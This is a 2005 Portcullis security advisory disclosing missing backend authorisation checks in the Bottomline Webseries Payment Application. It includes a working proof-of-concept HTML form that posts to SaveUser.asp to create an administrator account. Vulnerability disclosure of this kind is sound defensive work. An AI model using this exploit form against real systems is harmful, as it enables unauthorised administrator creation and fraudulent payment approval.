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Portcullis Security Advisory 05-001



Portcullis Security Advisory
 
Vulnerable System: 
      
        Webseries Payment Application
 
Vulnerability Title:  
 
      Lack of Backend Authorisation Checking
 
Vulnerability discovery and development: 
 
      Portcullis Security Testing Services
 
Affected systems: 
 
      Bottomline Webseries Payment Application 
 
Details:
 
        Portcullis consultants discovered that although privileged operations 
are
        not displayed in the application menu presented to unprivileged users, 
these
        operations may still be executed by directly accessing the appropriate
        URL.
 
        This, in effect, means that the core application is not carrying out any
        form of authorisation verification and that any authenticated user,
        regardless of the rights they have been assigned, can perform any action
        available to any user of the system.
 
      In its simplest form this vulnerability could be used to gather a list of
        privileged users by accessing the "User Entitlements" report which 
details
        user's security groups and administrative status.  An attacker could use
        this information to greatly increase their likelihood of success in 
gaining
        unauthorised access.
 
Impact:
 
        An unauthorized user could, by directly accessing the SaveUser.asp 
script       create a new user with administrative privileges. Portcullis 
consultants developed
        the following simple HTML page to perform this action:
 
        Any other system operation including user approval, security group
        modification and payment approval can be performed in a similar manner.
 
        The only thing obstructing a malicious attacker from succeeding in such
        attacks is that the approval system has been correctly implemented.  
Even by
        accessing URLs directly, a user cannot approve their own changes.
 
        Two unprivileged users, acting in collusion, have the ability to 
execute any
        function the system is capable of performing.  This includes 
submitting, and
        approving, payments of unlimited value.
 
Exploit:
        Portcullis consultants developed the following simple HTML page to 
perform this action:
 
<html>
        <body>
        <h1>Add User</h1>
        <hr>
        <form action="http://target/wsapp/SaveUser.asp"; method="post">
        Action <input name="Action" value="ADD" type="text"><br>
        UserID <input type="text" name="UserID"><br>
        UserName <input type="text" name="UserName"><br>
        Password 1 <input type="text" name="Password1"><br>
        Password 2 <input type="text" name="Password2"><br>
        Email <input type="text" name="EMail"><br>
        Administrator <input type="checkbox" name=Admin value=1><br>
        Application User <input type="checkbox" name=AppUser value=1><br>
        User Group <input type="text" name="SelUserGroup" value="111" ><br>
        Security Group <input type="text" name="SecurityGroup" 
value="RegMgr"><br>
        <input type="submit" value="submit">
        </form>
        </html>

Copyright: 
 
Copyright © Portcullis Computer Security Limited 2005, All rights reserved 
worldwide.
Permission is hereby granted for the electronic redistribution of this 
information. It is not to be edited or altered in any way without the express 
written consent of Portcullis Computer Security Limited.
 
Disclaimer: 
 
The information herein contained may change without notice. Use of this 
information constitutes acceptance for use in an AS IS condition. There are NO 
warranties, implied or otherwise, with regard to this information or its use. 
Any use of this information is at the user's risk. In no event shall the 
author/distributor (Portcullis Computer Security Limited) be held liable for 
any damages whatsoever arising out of or in connection with the use or spread 
of this information.
 
 
 


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